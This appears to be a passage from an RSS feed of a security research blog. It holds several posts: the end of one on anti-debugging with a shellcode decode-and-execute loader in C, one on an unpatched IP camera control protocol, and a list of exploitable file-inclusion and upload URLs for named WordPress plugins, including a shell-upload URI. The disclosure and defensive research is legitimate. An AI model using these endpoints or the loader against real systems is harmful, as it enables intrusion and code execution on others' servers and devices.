        key <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span><span style="color: #208080;">0xff00</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;&gt;</span><span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">^</span><span style="color: #208080;">0x4e</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #666666; font-style: italic;">//Win7 32 bit and 64 bit</span>
        key <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span><span style="color: #208080;">0xff</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">^</span><span style="color: #208080;">0x4a</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    getdecodeinfo<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span> SC_LEN <span style="color: #339933;">=</span> <span style="color: #0000dd;">2477</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span> i<span style="color: #339933;">;</span>
    UCHAR<span style="color: #339933;">*</span> tmp <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>malloc<span style="color: #009900;">&#40;</span>SC_LEN<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span>SC_LEN<span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        tmp<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span>sc<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">^</span>key<span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>tmp<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>This particular class of defeats is extra nice however, as they can't be optimized out like many time-based ones, but are still quite generic and hard to detect with signatures. After all, many applications inadvertently reference uninitialized memory. Triggering on that alone could significantly increase false positives.</p>
<h3>Machetes Are Your Friend</h3>
<p>Bypassing the techniques I've presented here is by no means impossible, but they are an obstacle to reverse engineering. Because of the generality of the technique, and the large number of ways to use it, a "general" defeat would take some effort to develop. The best strategy I have come up with so far is creating the process in a suspended state without debugging it, dumping the stack state, re-running the application in a debugged state, and writing the expected dead stack into the process. Something along these lines *should* work, but I have not tested any of it.</p>
<p>Defeating single implementations, however, is definitely doable. The main challenge, as alluded to above, is finding where the detection happened. Malware is not going to be as kind to the reverse engineer as my examples are. A sample very well might detect the debugger during application startup, and then continue on its merry way until some point in the future. Because of how subtle the check can be, and how many different ways it could be used, it could be difficult to find the offending memory accesses. Carefully inspecting each function for accesses to uninitialized memory is probably too tedious / not feasible, so automation in the form of memory analysis tools is likely a must. There's a number of these tools for Windows, and most of them would probably work. Once the check is found, it can be patched like most other debug defeats. The exceptions are going to be examples that pull values from the stack rather than just checking them. These will require modifying the binary to print the value, and then running the code without a debugger.</p>
<p>The biggest concern for those performing stack necromancy is that Microsoft or an AV company will intentionally attempt to mangle the call sequence executed during application startup. This would be the obvious response in my mind to prevent malicious software from using it. If this happened, it would obviously render the application inoperative. For this reason, it may make sense to fail more gracefully here than with other techniques, falling back to an update mechanism of some kind to receive a fix.</p>
<p>As for defending against this technique in an AV's emulator, the only real way I can see is to perfectly simulate the runtime environment of the given process, down to the state of the empty stack. Unless you're doing that, these kinds of defeats should always work. However, I would love to see myself proved wrong.</p>
<h3>Enough For Today</h3>
<p>Sadly, that's about all I have on the wonderful world of dead stacks for this post. Due to the nature of the code that I've posted above, it obviously may not work on your particular system. I've been pretty thorough about testing it on various VMs and computers I have laying around, but that definitely doesn't preclude it breaking elsewhere. I've already identified a few things that can cause it to fail, namely certain intrusive AV techniques such as DLL injection, as well as differing OS versions. However, anything that affects the state of the stack prior to the application's main being reached could potentially disrupt it. If it's not working for you, feel free to let me know about it (preferably with suggestions as to why it fails and/or cleverly worded insults about my puny human brain).</p>
<p>Hopefully, I have been able to demonstrate some of the very interesting things that can be done by resurrecting dead stack values and using them to do one's bidding. There are doubtless many more ways that people could improve upon the techniques I have discussed here, and I look forward to hearing about them. Happy hacking.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=LgcHJyJ_8qY:MQECjpyJPBY:-BTjWOF_DHI"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?i=LgcHJyJ_8qY:MQECjpyJPBY:-BTjWOF_DHI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=LgcHJyJ_8qY:MQECjpyJPBY:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=LgcHJyJ_8qY:MQECjpyJPBY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=yIl2AUoC8zA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/spareclockcycles/~4/LgcHJyJ_8qY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://spareclockcycles.org/2012/02/14/stack-necromancy-defeating-debuggers-by-raising-the-dead/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://spareclockcycles.org/2012/02/14/stack-necromancy-defeating-debuggers-by-raising-the-dead/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=stack-necromancy-defeating-debuggers-by-raising-the-dead</feedburner:origLink></item>
		<item>
		<title>Exploiting an IP Camera Control Protocol: Redux</title>
		<link>http://feedproxy.google.com/~r/spareclockcycles/~3/J_C2IWJwdFM/</link>
		<comments>http://spareclockcycles.org/2012/01/23/exploiting-an-ip-camera-control-protocol-redux/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 22:59:43 +0000</pubDate>
		<dc:creator>supernothing</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://spareclockcycles.org/?p=769</guid>
		<description><![CDATA[Last May, I wrote about a remote password disclosure vulnerability I found in a proprietary protocol used to control ~150 different low-end IP cameras. The exploit I wrote was tested on the Rosewill RXS-3211, a rebranded version of the Edimax IC3005.  The vulnerability remained unpatched in the RXS-3211 until July of last year, when a [...]]]></description>
			<content:encoded><![CDATA[<p>Last May, <a title="Exploiting an IP Camera Control Protocol" href="http://spareclockcycles.org/2011/05/23/exploiting-an-ip-camera-control-protocol/" target="_blank">I wrote</a> about a remote password disclosure vulnerability I found in a proprietary protocol used to control ~150 different low-end IP cameras. The exploit I wrote was tested on the <a href="http://www.rosewill.com/products/1728/productDetail.htm" target="_blank">Rosewill RXS-3211</a>, a rebranded version of the <a href="http://www.edimax.com/en/produce_detail.php?pd_id=352&amp;pl1_id=8&amp;pl2_id=91" target="_blank">Edimax IC3005</a>.  The vulnerability remained unpatched in the RXS-3211 until July of last year, when a supposed fix was provided . Unfortunately, I've been busy working on other projects, so I just recently got around to testing it. Spoiler: the results weren't good. The following post documents how easy it is to still exploit this particular vulnerability, alternative ways to exploit the protocol, and how to create your own firmware images to run whatever you want on devices that you now control.</p>
<h3>The Patch Is 0.1% Effective</h3>
<p>After flashing the latest firmware image to one of my cameras and installing the new management application, I did exactly what I did the first time: fired up Wireshark again and looked through the traffic. It was clear from the dumps that they were at least obfuscating the traffic now, but the sad fact remained that when I entered my password into the client application, no traffic was sent to the server before I was granted access. Clearly,  authentication in the protocol is still occurring client-side. Not good.</p>
<p>With that knowledge, I thought it'd be fun to first explore what all one can do without even having the admin password. Thankfully, this was much easier than would be expected, given my fateful acquisition of Edimax's implementation of the protocol. While working on creating custom firmware images, I downloaded a number of GPL source packages released by Edimax. In the IC3010 package, I realized that Edimax had included more source code than normal, including one folder labeled "enet_EDIMAX". After a quick look, I realized I now had the source to the protocol I had been reversing. Win.</p>
<p>Rather than describing what one can do while unauthenticated, it would probably be faster to describe what one *can't* do. Reboots, factory resets, reading any and all device settings, performing WLAN surveys, toggling LEDs...it is even possible to perform remote, unauthenticated firmware flashing on some models.  Basically the only thing that isn't possible to do is grabbing remote frames from the camera. You can read through the code for yourself here:  <a href="http://pastebin.com/gALqkg8h" target="_blank">enet_agentd.h</a> <a href="http://pastebin.com/Bb3bWZP5" target="_blank">enet_agentd.c </a>. After some quick Python scripting, I confirmed that all of the supported functions on the RXS-3211 were still vulnerable to exploitation, even if the admin password was no longer in cleartext. If anyone reading has one of the cameras that supports wireless or firmware flashing (IC-1000, maybe others), I'd love to see if the other enet functionality works.</p>
<p>Obviously, the patch wasn't very effective. However, for the sake of curiosity and thoroughness, I wanted to see if it was still possible to recover the admin password. To do so meant figuring out how the traffic was being encoded. and if it could be defeated . The header format I described in my previous post was still intact, but the body was obviously scrambled somehow. While this could have required a serious reverse engineering effort, it turned out to be fairly simple.</p>
<p>In such situations, there's only a few options: encryption, compression, or both. After changing the password on the device  a few times and observing how the traffic changed, it became obvious that either very weak encryption was being used or the data was compressed, as there was an easily discernible pattern between the input text and the output. Comparing the passwords "1111111111" and "1234567890", it became clear that compression was the winner: the length of packets with the former password were a few bytes shorter than the latter. Compression algorithms often work by shrinking 'runs' of data in some way, and hence, will compress the same character in succession much more efficiently than different ones. To find out which algorithm, I then went back and ran strings on the management executable, which gave me my answer: zlib compression. Yes...their solution to remote password disclosure was to compress the password before sending it. Brilliant. After this, all it took was a single line of Python to make things work perfectly again: zlib.decompress(data[12:-4],-15).</p>
<p>To demonstrate these vulnerabilities, I threw together a simple Python script: <a title="Pwn Enet" href="http://spareclockcycles.org/downloads/code/enet_pwn.py">enet_pwn.py</a>. With this, an attacker can disclose the admin password and others stored on all devices using the enet protocol (including the "patched" RXS-3211),  grab many of the common settings shared between devices, and perform reboots and factory resets on the cameras. Obligatory disclaimer: I am not responsible for any illegal use of this tool.</p>
<h3>Going Further</h3>
<p>For all the vulnerabilities I've pointed out in their software, I still really like the Edimax cameras for their low cost and high "hackability". Creating firmware images for the devices can allow you do some cool things other cameras can't, and for ~30 dollars for the low end ones, it's a pretty good deal. In fact, the first time I bought one, I had actually considered turning it into a poor man's pentesting drop box (which it does quite well). However, because of how easy it is to create firmware images for the cameras, attackers can also install anything they like once getting the admin password. This could allow them to gain further unauthorized access to a network.</p>
<p>While creating custom firmware for these cameras is a little more complicated than simply using the <a href="https://code.google.com/p/firmware-mod-kit/" target="_blank">firmware mod kit</a>, it isn't by much. I've created a <a title="Edimax IPcam Firmware Modification" href="https://code.google.com/p/edimax-ipcam-fw/source/checkout" target="_blank">few basic scripts that handle everything</a>, which basically just automate the process <a href="http://www.suborbital.org.uk/canofworms/index.php?/archives/3-Getting-telnet-access-on-an-Edimax-IC3010-webcam.html" target="_blank">described here</a>. All someone needs to do is use the extract_edimax.sh script to extract the image, modify the root filesystem to their liking, and then recompile with the build_edimax.sh script. Edimax provides a toolchain for compiling your own applications, which can also be found in my repository in the tools directory. For me, getting netcat on there was enough for everything I wanted. I should note though that any flashing you do could damage your device, so be careful. It is usually possible to recover through a serial terminal on the device, but it's usually best to avoid that annoyance.</p>
<h3>Mitigation</h3>
<p>For end users, the easiest thing to do is simply to block incoming UDP packets on port 13364. It's possible to make your own firmware image that isn't vulnerable, but this is left as an exercise for the reader (or possibly a later post).</p>
<p>For the developers, here is, once again, some possible pseudocode for the server:</p>
<pre>if discovery request:
    allow
else if any other valid request encrypted with admin password hash:
    allow
else:
    deny deny deny</pre>
<p>Never send cleartext passwords. Don't even send hashes unless you have to. And definitely don't send them to clients. It's not that complicated. If you can't do that much, you shouldn't be rolling your own protocols.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=J_C2IWJwdFM:5Rdy8NMBZ2U:-BTjWOF_DHI"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?i=J_C2IWJwdFM:5Rdy8NMBZ2U:-BTjWOF_DHI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=J_C2IWJwdFM:5Rdy8NMBZ2U:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=J_C2IWJwdFM:5Rdy8NMBZ2U:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=yIl2AUoC8zA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/spareclockcycles/~4/J_C2IWJwdFM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://spareclockcycles.org/2012/01/23/exploiting-an-ip-camera-control-protocol-redux/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://spareclockcycles.org/2012/01/23/exploiting-an-ip-camera-control-protocol-redux/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=exploiting-an-ip-camera-control-protocol-redux</feedburner:origLink></item>
		<item>
		<title>Explo(it|r)ing the WordPress Extension Repos</title>
		<link>http://feedproxy.google.com/~r/spareclockcycles/~3/npChyrd74jA/</link>
		<comments>http://spareclockcycles.org/2011/09/18/exploitring-the-wordpress-extension-repos/#comments</comments>
		<pubDate>Sun, 18 Sep 2011 06:03:23 +0000</pubDate>
		<dc:creator>supernothing</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[rfi]]></category>
		<category><![CDATA[scanning]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[subversion]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[vulnerabilities]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://spareclockcycles.org/?p=723</guid>
		<description><![CDATA[Today's post is kind of long, so I thought I should warn you in advance by adding an additional paragraph for you to read. I also wanted to provide download links for those who'd rather just read the code. It isn't the cleanest code in the world, so I apologize in advance. I discuss what [...]]]></description>
			<content:encoded><![CDATA[<p>Today's post is kind of long, so I thought I should warn you in advance by adding an additional paragraph for you to read. I also wanted to provide download links for those who'd rather just read the code. It isn't the cleanest code in the world, so I apologize in advance. I discuss what all of these are for and how they work later on in the post, so if you're confused and/or curious, read on. Downloads:</p>
<ul>
<li>Copies of the WordPress theme and plugin repositories can be grabbed via <a title="Wordpress Repositories" href="http://spareclockcycles.org/downloads/wordpress_repos.torrent">torrent</a> (Please note that the plugin repo has a few directories incomplete/missing; this can be fixed by running my checkout code)</li>
<li>A new WordPress plugin fingerprinting tool, <a title="wpfinger" href="http://code.google.com/p/wpfinger/" target="_blank">wpfinger</a> (<a title="Download" href="http://code.google.com/p/wpfinger/downloads/detail?name=wpfinger-v0.1.1.tar.bz2" target="_blank">download</a>). This tool can infer detailed version information on just about every plugin in the WordPress repository. This package also contains some useful libraries for checking out the repositories and scraping plugin rankings, as this is used in the fingerprinting tool.</li>
</ul>
<h3>Intro</h3>
<p>After finding an <a title="Arbitrary File Upload in 1 Flash Gallery" href="http://spareclockcycles.org/2011/09/06/flash-gallery-arbitrary-file-upload/" target="_blank">arbitrary file upload vulnerability in 1 Flash Gallery</a>, I became curious as to how many other WordPress plugins made basic security mistakes. The 1 Flash Gallery plugin issue, it seems, is that they CTRL-C-V'd code from a project called <a title="Uploadify" href="http://www.uploadify.com/" target="_blank">Uploadify</a>, which has been known to be vulnerable <a title="Uploadify vulnerability" href="http://osvdb.org/62653" target="_blank">for quite awhile</a>.</p>
<p>After realizing this, I became curious as to how many plugins make easy-to-spot security mistakes, such as reusing vulnerable libraries or doing such things as include($_REQUEST['lulz']). However, my curiosity was initially somewhat hampered by the fact that downloading and auditing every WordPress plugin one at a time is not only a mind numbing task, but a herculean one as well. And, well, I'm incredibly lazy.</p>
<h3>Getting the Repos</h3>
<p>So what to do? Well, it turns out that WordPress is nice enough to have public repositories (<a href="http://plugins.svn.wordpress.org" target="_blank">http://plugins.svn.wordpress.org</a> and <a href="http://themes.svn.wordpress.org" target="_blank">http://themes.svn.wordpress.org</a>) containing all plugins that have ever been submitted, as well as every theme.  This, of course, was exciting: I could just check this out, whip out some grep-fu, and have my answers.</p>
<p>Alright, so maybe it isn't as simple as that. First, the plugin repo is huge: as is, it's taking up a good 80GB on one of my disks and contains approximately 12,000,000 files, thanks in no small part to subversion's insistence on creating ridiculous numbers of internal files. This isn't all that suprising, however, given that the repo contains ~23,000 plugins.</p>
<p>As I found out in my initial failed attempts to grab the code, checking this out all at once with subversion is, as far as I can tell, impossible. After about 15-20 minutes of downloading, the checkout would error out, and I'd have to wait for SVN to reverify everything it had already gotten. This got old quickly, so I came up with a hacked workaround: I wrote a quick script that simply checked out the individual repositories for every plugin and theme. Not very clean, but for my purposes, effective. A little over a day later, I had all the themes and plugins, and it was time for some fun.</p>
<p>A side note: for those of you who would like to play with either of these, I'd recommend <a href="http://spareclockcycles.org/downloads/wordpress_repos.torrent">grabbing the torrent</a>, extracting it, and then running my checkout script in wpfinger in the directory above them. This will still get you the latest versions of all the plugins, but should take significantly less time and put less strain on everyone's servers.</p>
<h3>Attack</h3>
<p>Anyway, on to the vulnerabilities. During my scans I found remote unauthenticated code execution vulnerabilities in 36 plugins, varying in popularity from ~250 downloads to ~60,000. Finding them took essentially no effort or skill on my part, just patience.</p>
<p>The following eleven plugins were found entirely with grep and a little bit of manual inspection. Instead of running over every PHP file in the repo, I sped things up by only running over code in the trunk directories. This was under the assumption that that should be the latest code. Pretty much all of these were found analyzing results from the same grep:</p>
<p>Grep used: egrep -i '(include|require)(_once)?(\(|\s+)[^[;)]*\$_(REQUEST|GET|POST|COOKIE)'</p>
<p>Base is http://host/wp-content/plugins/PLUGIN_NAME/ unless explicitly stated.</p>
<p>Remote File Include - unauthenticated<br />
----------------------------------------------------------</p>
<ul>
<li>zingiri-web-shop = /fws/ajax/init.inc.php?wpabspath=RFI OR /fwkfor/ajax/init.inc.php?wpabspath=RFI</li>
<li>mini-mail-dashboard-widget = wp-mini-mail.php?abspath=RFI (requires POSTing a file with ID wpmm-upload for this to work)</li>
<li>mailz = /lists/config/config.php?wpabspath=RFI</li>
<li>relocate-upload = relocate-upload.php?ru_folder=asdf&amp;abspath=RFI</li>
<li>disclosure-policy-plugin = /functions/action.php?delete=asdf&amp;blogUrl=asdf&amp;abspath=RFI</li>
<li>wordpress-console = /common.php POST="root=RFI"</li>
<li>livesig = /livesig-ajax-backend.php POST="wp-root=RFI"</li>
<li>annonces = /includes/lib/photo/uploadPhoto.php?abspath=RFI</li>
<li>theme-tuner = /ajax/savetag.php POST="tt-abspath=RFI"</li>
<li>evarisk = /include/lib/actionsCorrectives/activite/uploadPhotoApres.php?abspath=RFI</li>
<li>light-post = /wp-light-post.php?abspath=RFI</li>
</ul>
<p>Local File Include - unauthenticated<br />
----------------------------------------------------------</p>
<ul>
<li>news-and-events = http://host/wordpress/?ktf=ne_LFIPATH%00</li>
</ul>
<p>As an experiment, I also modified a nice static source analyzer called <a title="RIPS" href="http://sourceforge.net/projects/rips-scanner/files/" target="_blank">RIPS</a> to take command line arguments (<a title="RIP CLI" href="http://spareclockcycles.org/downloads/code/ripscli.tar.bz2">grab here</a>, if interested) and print out some basic information on probable vulnerabilities, and then ran it over the plugin repo. Unfortunately, the noise was still pretty high (partly due to its lack of OO support), so I didn't find all too much beyond the greps. However, it did turn up a few RFIs:</p>
<ul>
<li>thecartpress = /checkout/CheckoutEditor.php?tcp_save_fields=true&amp;tcp_class_name=asdf&amp;tcp_class_path=RFI</li>
<li>allwebmenus-wordpress-menu-plugin = actions.php POST="abspath=RFI"</li>
<li>wpeasystats = export.php?homep=RFI</li>
</ul>
<p>Finally, I searched for Uploadify usage and outdated timthumb.php libraries. This turned up another 24 vulnerable plugins:</p>
<ul>
<li>user-avatar - /user-avatar-pic.php -&gt; Only vulnerable if register_globals is enabled</li>
<li>onswipe - /framework/thumb/thumb.php</li>
<li>islidex - /js/timthumb.php</li>
<li>seo-image-galleries - /timthumb.php</li>
<li>verve-meta-boxes - /tools/timthumb.php</li>
<li>dd-simple-photo-gallery - /include/resize.php</li>
<li>wp-marketplace - /libs/timthumb.php</li>
<li>a-gallery - /timthumb.php</li>
<li>auto-attachments - /thumb.php</li>
<li>cac-featured-content - /timthumb.php</li>
<li>category-grid-view-gallery - /includes/timthumb.php</li>
<li>category-list-portfolio-page - /scripts/timthumb.php</li>
<li>cms-pack - /timthumb.php</li>
<li>dp-thumbnail - /timthumb/timthumb.php</li>
<li>extend-wordpress - /helpers/timthumb/image.php</li>
<li>kino-gallery - /timthumb.php</li>
<li>lisl-last-image-slider - /timthumb.php</li>
<li>mediarss-external-gallery - /timthumb.php</li>
<li>really-easy-slider - /inc/thumb.php</li>
<li>rekt-slideshow - /picsize.php</li>
<li>rent-a-car - /libs/timthumb.php</li>
<li>vk-gallery - /lib/timthumb.php</li>
<li>gpress = /gpress-admin/fieldtypes/styles_editor/scripts/uploadify.php?fileext=php - exact same as 1 Flash Plugin vuln</li>
</ul>
<p>Obviously, it's not very hard to find a decent number of 0days just by grepping around, which is mildly disconcerting. Honestly, I had so many hits for these searches that I probably missed a good deal of them. But what else, besides vulnerability discovery, can we do with all this data?</p>
<h3>Fingerprint</h3>
<p>As an attacker, it's always nice to be able to figure out exactly what code is running on a given server. Of course, this isn't usually possible, as it requires a large body of information that just isn't there. However, it becomes much, much easier when you have access to the wealth of information contained in an SVN repo.</p>
<p>I feel that I should mention that <a title="ethicalhack3r" href="https://twitter.com/#!/ethicalhack3r" target="_blank">ethicalhack3r's</a> awesome tool <a title="WPScan" href="http://code.google.com/p/wpscan/" target="_blank">WPScan</a> does some of this, but last I checked will only detect if the top 2000 plugins are installed, and, as far as I know, won't give you a version. This is not to fault his work, though, at all; as I said, doing fine grained fingerprinting on every plugin would normally be difficult to impossible in most circumstances, and his tool does a ton of stuff that wpfinger doesn't.</p>
<p>So what does the repo give us that we were missing before? Well, we of course have a list of all the plugins, and it is then trivial to grab all of their download stats from wordpress.org to sort them in order of popularity. In addition, we have not only the current version of the plugin in the trunks, but we also (if SVN is being used properly) have tags for each of the major version changes. Simply by comparing these and finding changed files that we can check for remotely (added/removed/modified content files or added/removed php scripts), we can build a very effective fingerprint for each version of the plugin. Then, all we have to do is run a small number of checks once we find that a plugin is installed to obtain, at the very least, the major version of the plugin.</p>
<p>My current implementation is not pretty, but it seems to work quite well on the servers I tested with. My signatures are simply binary search trees encoded using Python tuples (don't judge me, it was quick to do it that way), which I regenerate whenever I update the SVN.  The initial fingerprinting takes quite awhile, as it stupidly MD5s all of the relevant files in the repos. This was before I knew that <a title="filecmp/dircmp" href="http://docs.python.org/library/filecmp.html" target="_blank">filecmp/dircmp</a> existed, so that's probably going to be rewritten soon enough.</p>
<p>Once the signatures are created, the scans are quite fast, and very effective. It normally only takes one to two requests to detect plugin presence, and only takes two or three more in most cases to detect the version. It also tries to deal with things like error pages that return 200 by using difflib to compare the error page to the returned page, although there's probably still some issues with that.</p>
<p>As I mentioned earlier, you can check the <a title="wpfinger - git" href="http://code.google.com/p/wpfinger/source/checkout" target="_blank">latest versions</a> over on Google Code from now on. Here's a screenshot of a scan against one of my test servers:</p>
<div id="attachment_762" class="wp-caption aligncenter" style="width: 387px"><a href="http://spareclockcycles.org/wp-content/uploads/2011/09/wpfinger1.png"><img class="size-full wp-image-762 " title="wpfinger" src="http://spareclockcycles.org/wp-content/uploads/2011/09/wpfinger1.png" alt="wpfinger in action" width="377" height="252" /></a><p class="wp-caption-text">Plugins + versions</p></div>
<p>Now that I've outlined more than enough ways to aid exploitation, let's talk briefly about what can be done to help prevent some of these attacks.</p>
<h3>Defend</h3>
<p>For the WordPress developers, the best defense would probably be to scan any commits for known vulnerabilities, and either warn or (preferably) block the developers from adding exploitable code to the repository. This can be done quite easily using pre-commit hooks for SVN, which allow for custom verification of commits to a repository. I'm planning on releasing an example script when I get time that will detect commits introducing the vulnerabilities I scanned for, but the more interesting problem is how to gather a larger, better collection of signatures. I've got a couple vague ideas for how to go about doing this, but would love suggestions on the subject.</p>
<p>As for what site admins can do, it's pretty clear: don't install plugins or themes unless you *absolutely* need to or you are willing to and have the expertise to audit what you're installing. Just because you have the latest version does not necessarily make you safe, and if you forget to update, it's quite easy for an attacker to detect and exploit. In addition to limiting your number of installed plugins, it might be possible to parse the signatures I provide and use a WAF to return tainted results when those URLs are requested too closely together. Haven't personally done it, but I'm sure it wouldn't be too extraordinarily difficult.</p>
<h3>Conclusion</h3>
<p>The methods presented here are not unique to WordPress; I'm fairly confident in saying that it could easily be applied to any open source CMS. I largely chose WordPress because I was already working with it when I stumbled into this, and they had a really nice repository to pull from. Please feel free to try it out other places, and let me know how it goes.</p>
<p>P.S.: I'd like to thank <a title="DustStorm" href="http://dustybit.com" target="_blank">duststorm</a> for lending me a server to seed the repos with. Much appreciated.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=npChyrd74jA:fk2hyFmlUqI:-BTjWOF_DHI"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?i=npChyrd74jA:fk2hyFmlUqI:-BTjWOF_DHI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=npChyrd74jA:fk2hyFmlUqI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/spareclockcycles?a=npChyrd74jA:fk2hyFmlUqI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/spareclockcycles?d=yIl2AUoC8zA" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/spareclockcycles/~4/npChyrd74jA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://spareclockcycles.org/2011/09/18/exploitring-the-wordpress-extension-repos/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		<feedburner:origLink>http://spareclockcycles.org/2011/09/18/exploitring-the-wordpress-extension-repos/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=exploitring-the-wordpress-extension-repos</feedburner:origLink></item>
		<item>
		<title>1 Flash Gallery: Arbitrary File Upload</title>
		<link>http://feedproxy.google.com/~r/spareclockcycles/~3/TuiVErxyVpg/</link>
		<comments>http://spareclockcycles.org/2011/09/06/flash-gallery-arbitrary-file-upload/#comments</comments>
		<pubDate>Wed, 07 Sep 2011 00:40:45 +0000</pubDate>
		<dc:creator>supernothing</dc:creator>
				<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[arbitrary file upload]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[websec]]></category>

		<guid isPermaLink="false">http://spareclockcycles.org/?p=682</guid>
		<description><![CDATA[This is a short post documenting the vulnerability I inadvertently found yesterday in the 1 Flash Gallery plugin, which has since been patched. This plugin has been downloaded an estimated 460,000 times, and as of yesterday was ranked by WordPress as the 17th most popular plugin (although I'm not entirely sure how this judgement is made). A [...]]]></description>
			<content:encoded><![CDATA[<p>This is a short post documenting the vulnerability I inadvertently found yesterday in the <a href="http://wordpress.org/extend/plugins/1-flash-gallery/" target="_blank">1 Flash Gallery plugin</a>, which has since been patched. This plugin has been downloaded an estimated 460,000 times, and as of yesterday was ranked by WordPress as the 17th most popular plugin (although I'm not entirely sure how this judgement is made). A patch has been released, so anyone who has this plugin installed should update immediately. I'll probably do a follow-up in the near future on WordPress plugins in general, but for now, just the facts.</p>
<h3>Vulnerability</h3>
<p>The 1 Flash Gallery WordPress plugin is vulnerable to an arbitrary file upload vulnerability. This vulnerability is present from version 1.30 until version 1.5.7.</p>
<p>It is possible to plant a remote shell and thereby execute arbitrary code on the remote host by simply submitting a PHP file via POST request to the following URI on a vulnerable installation:</p>
<p><code>/wp-content/plugins/1-flash-gallery/upload.php?action=uploadify&amp;fileext=php</code></p>
